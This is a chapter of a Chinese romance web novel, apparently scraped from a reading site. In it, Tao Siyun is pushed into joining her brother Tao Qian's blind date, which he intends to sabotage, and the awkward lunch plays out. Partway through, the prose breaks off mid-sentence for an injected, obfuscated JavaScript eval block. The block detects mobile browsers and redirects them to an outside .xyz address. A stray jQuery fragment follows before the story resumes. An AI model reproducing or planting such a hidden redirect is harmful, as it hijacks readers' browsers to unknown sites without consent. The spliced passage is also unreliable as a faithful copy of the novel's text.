往年的除夕大家都按照老规矩在陶代铭家吃年夜饭,第二天大年初一去叔叔家,初二再去姑姑家里,三家人轮流请客。
今年由于陶齐受伤行动不便,三兄妹商量过后决定今年就在叔叔家里过。
吃完年夜饭回家,一家人坐在客厅看着电视守岁,陶斯允靠在秦舒肩膀上乐滋滋地拆今晚收到的红包,刚数完一叠连号的新钞,毛衣口袋里突然被塞了三个厚厚的红包。
陶潜一屁股坐了下来:“我的也给你,慢慢数去吧。”
他们家发红包没有年龄限制,只要是没结婚的人,过年的时候家里长辈照样给发压岁钱。
陶斯允愣了一下,和父母交换了一个眼神,反应过来后立马像考拉一样抱着秦舒的胳膊,使劲摇头:“贿赂我也没用,你相亲我去干嘛……”
“去给我捣乱。”
“……”
“你怎么这样啊!自己不想相亲就算了,居然还要在别人面前破坏我的形象。”陶斯允躲在秦舒的怀里撒娇:“妈妈,我不要去。”
秦舒和陶代铭隔空对视了一眼,夫妻俩跟商量好了一样,一唱一和地做女儿的思想工作——
“安安,你哥哥害羞,陪他一起去吧。”
活了二十九年第一次被亲爹说“害羞”的陶潜一如往常地不合群,一个人坐在旁边的单人沙发上,一副置身事外的样子,仿佛即将要去相亲的人不是他一样。
秦舒趴在耳边悄悄对她说:“你去帮妈妈掌掌眼,提前见见有可能成为你未来嫂嫂的人,嗯?”
就陶潜那样子哪里像是想好好相亲的,都还没见面呢就已经盘算好了怎么破坏长辈们处心积虑为他安排的相亲局。
当着父母的面,陶潜也是毫不掩饰自己的态度,甚至还明晃晃地把计划说给他们听,这不是准备搞事是什么……
陶斯允心里一百个不愿意,这种得罪人的事她可不想参与进去……
“你和爸爸也去吗?”
“相亲哪还有带家长去的啊,又不是双方父母见面商量结婚的事。”夫妻俩相视一笑,也不知道是不是故意说给儿子听的,“这得等你哥哥哪一天正式通知我们可以和亲家见面了才行。”
陶潜:“……”
“可是人家女方都是带自己的朋友,我去多不合适啊,干脆让哥哥的闺蜜陪他去好了。”陶斯允再次找了个理由推辞。
谁知陶潜听到这话,抬起头,瞟了她一眼,淡淡道:“我闺蜜没空。”
“那我也没空。”
陶潜放下翘了半天的二郎腿,语气不耐:“你放假在家待着干嘛,做寒假作业?”
“嗯,我倒是宁愿做寒假作业……”
两个不认识的陌生人坐在一起以“相亲”为前提尬聊本来就会让人不自在,她要是再去的话都不知道四个人会不会一起尴尬死……
正当她七想八想,内心无比纠结的时候,忽然间想起了之前那个有过两面之缘,极有可能是陶潜前女友的人。
陶斯允立马就凑了过去,和陶潜一起挤在单人沙发上,小声试探:“哥,你觉得你和你的相亲对象八字会有一撇吗?”
“没有,就是走个过场,把这事应付过去,给婶婶一个交代就行了,省得他们再操心。”
“哦,那就好。”陶斯允这下终于放心了,于是便开始争取自己的话语权:“那我去了以后能当着你的相亲对象说你的坏话吗?”
陶潜“啧”了声,觉得很有必要把这事先说明白,搂着陶斯允,压低了声音:“你的任务是让对方觉得自个儿配不上我,知难而退。”陶潜捏了下她的脸,眯起眼睛,一脸傲娇道:“而不是看不上我,懂么?”
陶斯允终于看清了亲哥的嘴脸,似懂非懂地点头:“所以在女方和女方朋友的眼里,‘相亲对象那个尖酸刻薄、胡搅蛮缠、一看就不好相处的妹妹’就是你为了达到目的在不牺牲自己的情况下给我立的人设,对吗?”
“乖。”见她已经非常透彻地理解了自己的意思,陶潜内心感到无比欣慰,抬手顺了顺她的毛,财大气粗地开口承诺道:“香奈儿普拉达随你挑。”
陶斯允根本没有被这点小恩小惠所打动,一副“你没事吧”的表情摸了摸陶潜的额头:“哥,你是不是疯了?”
陶潜:“???”
虽然很不愿意承认,但陶斯允好像真的从陶潜身上看到了边澄子最爱吐槽的那一类“普信男”的影子。
于是为了让他认清现实,陶斯允非常客观地将他和相亲对象之间已知的每一项条件都进行了详细的比对——
“你看啊,第一,人家不光和你是一个大学的校友,而且学历还比你高;第二,你92年,她93年,年龄比你年轻;第三,人家独生女,家里经商,可能比咱们家还有钱;第四,目前别人所有的外在条件全部碾压你,你一点优势都没有,不自卑就算了,到底哪里来的自信觉得人家配不上你了?”
陶潜在听完妹妹的逐条分析后挑了挑眉,自信满满地说了一个字——脸。
“我这张脸纯天然,打从娘胎里就定型了,她那是一年飞八趟韩国五趟日本一刀一刀人工整出来的。”
陶斯允看着眼前这张和自己有几分相似的脸,难得沉默了几秒,心想,这勉强也算是一个优势吧。
虽然挺自恋的。
“你别乱讲给别人造谣好不好,你们还都没见过面,光看照片是怎么看出人家整容的?”
“谭阳他妈……”陶潜的话说到一半忽然停了下来,觉得这有点像是在骂人,又想起刚才陶斯允说的,于是按照她的思维在兄弟名字前面加上了“闺蜜”两个字,颇有一种从特殊渠道探听到消息的得意洋洋:“我闺蜜谭阳,他妈是咱们市医院整容科主任医师,上个月刚给她做完鼻修复,你谭阳哥和她认识,本科在一个学校,朋友圈看到的。”
陶斯允的关注点成功被转移:“可陶齐不是说她和你是同一届的吗?我还以为她本科也在京大呢。”
陶潜哼了哼,语气不免有些嘚瑟:“你以为谁都能本科就考上京大?你哥我当年高考发着高烧进的考场,要不是最后一道大题没做完,至于才考全市第三?”
“……”
许霁早上给她转了520,陶斯允点开收了,又多添了一块,给他转了个521过去,并且告诉他多出的这一块不用还。
过了一会儿,许霁用一种专业会计师的口吻回复她:【不舍不入,正好,成功入账。】
……
过年这几天,陶斯允已经推了好几次和边澄子的约会,暂时把所有的精力都投入到了陪陶潜相亲这件事上,甚至还在网上搜了不少关于陪人相亲的经验贴。
“什么什么,相亲?你哥?真不是陶齐啊?”边澄子表示自己无法理解:“不是,你哥那样的还需要相亲吗?!你爸妈这也太着急了吧!”
陶斯允淡定地表示:“是的,你没听错,是我亲哥陶潜,不是堂哥,陶齐在家静养呢,没三五个月恢复不了。”
“……”
新的一年,颠覆边澄子认知的第一件事就是陶潜那样的人居然也沦落到了要靠相亲才能解决个人问题的地步。
“啧啧啧,你哥在相亲市场肯定特抢手吧?一天相几个啊?”
“哪有几个啊,就一个,他还一直很不情愿呢。”陶斯允叹了一口气,在衣帽间挑挑拣拣,准备明天要穿的衣服,顺手就把手机放在了梳妆台上:“我婶婶单位的,据说人不错,条件也不错,这不就介绍给我哥了。我爸妈年前都已经约好了,不去的话不礼貌,我哥就是去完成任务的。”
边澄子语气唏嘘地说:“现在年轻人相亲能看对眼的几率连百分之五都不到哎,你信不信,我这还是保守估计。一般都是先当几天陌生网友,再约出来一起A顿饭,回家就得互删,一点意义都没有。”
“他们俩连网友都不算,现在都还没加微信。”
“……好吧,所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867115|176179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以你呢,在当中起到一个什么作用?”
好像并没有什么用。
陶斯允想起陶潜交代自己的任务,喃喃自语道:“大概就是去蹭饭吧,毕竟女方也带了个人,我哥可能觉得AA的时候比较好算钱?”
***
按照沈琴给的时间和地址,第二天中午十二点,陶潜和陶斯允来到了恒汇广场的顶层餐厅完成任务。
陶斯允在餐厅经理“你放心,我绝对不会把你和你男朋友前段时间在这儿约会吃饭的事情告诉你哥”的wink中心情复杂地坐到了她和许霁上次坐的座位上。
和想象中的场面差不多,见面后,互不相识的四个人明显都有些放不开。
女方按照一贯的相亲话术开始象征性地问陶潜一些问题——
“听沈主任说你现在在沪西工作啊?所以今后会考虑回京浮发展吗?”
“现在不好说,我妹还没毕业,以后她去哪儿我就去哪儿,我去沪西主要是因为她一个人在那边上学,我不放心,想着能离她近点,方便时时刻刻照顾她。”陶潜认真切着盘子里的牛排,眼神中充满了抱歉:“不好意思啊,我是妹控,生活中的一切都以我妹为重。”
陶斯允:“……”
女方朋友:“……”
姑娘目光不明地看了陶斯允一眼,一脸羡慕地说:“你们兄妹俩的关系一定很好吧?我小时候就特别想有一个哥哥,可我妈就生了我一个。”
陶潜侧头,一脸宠溺地看着陶斯允:“是啊,哎,每次只要一想到我唯一的宝贝妹妹以后会交男朋友,会出嫁,我这个当哥哥的就特别难过,恨不得打断那个男人的腿。”
陶斯允:“…………”
牛排切好了,陶潜把盘子端到陶斯允面前,用银制叉子插了一块切成牛肉粒大小的牛肉喂到她嘴边:“来,吃这个吧,你这个不好切,给哥哥。”
陶斯允前二十四年都没有听到过陶潜用这么温柔的声线说过话,简直把她恶心得浑身鸡皮疙瘩都起来了……
她再也没勇气抬头看向对面那两个人,味同嚼蜡地吃着一粒粒堪比猫粮的牛排,一边听他们聊天,一边悄悄给边澄子发微信吐槽:【我哥好像疯了……】
边澄子:【???】
“是吧,看着自己从小疼大的宝贝妹妹被其他男人拐走,作为哥哥心里肯定会很舍不得的。”
姑娘的声音充满了感同身受的怜爱,陶斯允试图理解,可想了半天都没明白她到底是怎么和陶潜这种人产生共情的……
餐后甜点还没上,陶潜就找了个借口去洗手间。
他一走,饭桌上只剩下了三个女生。
女方话题立马就转向了陶斯允:“听说妹妹之前在法国留学?”
“呃……嗯,在巴黎。”
从他们一落座,陶潜的相亲对象目光就时不时往陶斯允身上瞟,刚开始的时候她还挺不自在的,在经过她哥刚才那一番惊世骇俗的“妹控言论”后,就变得更加不自在了。
感觉对方看自己的眼神都变得难以言喻起来。
陶潜去洗手间,也是兄妹俩事先在车上商量好的暗号,陶潜的意思是趁这几分钟,无论如何,不管用什么方式都得帮他搅黄。
本来陶斯允都已经在心里打好了草稿,如何委婉地将“你别看我哥长得帅,其实他就是脸长得还行,高中的时候换女朋友跟换衣服似的,花得要死,见一个爱一个,特别渣,承诺过的山盟海誓一大箩筐,就没见他对别人负责过,而且他还是大男子主义”的意思不经意传递给她们。
但前提是,这都在“妹控言论”不存在的情况下才可行,要是现在这样说,难保不会让别人怀疑她和陶潜之间到底有没有血缘关系。
搞不好相亲对象的下一个问题就得问她小时候是不是从孤儿院抱回来的,或者问都不问,直接华丽丽脑补出一段畸形的德国骨科狗血戏码……
陶斯允这辈子都没这么无语过。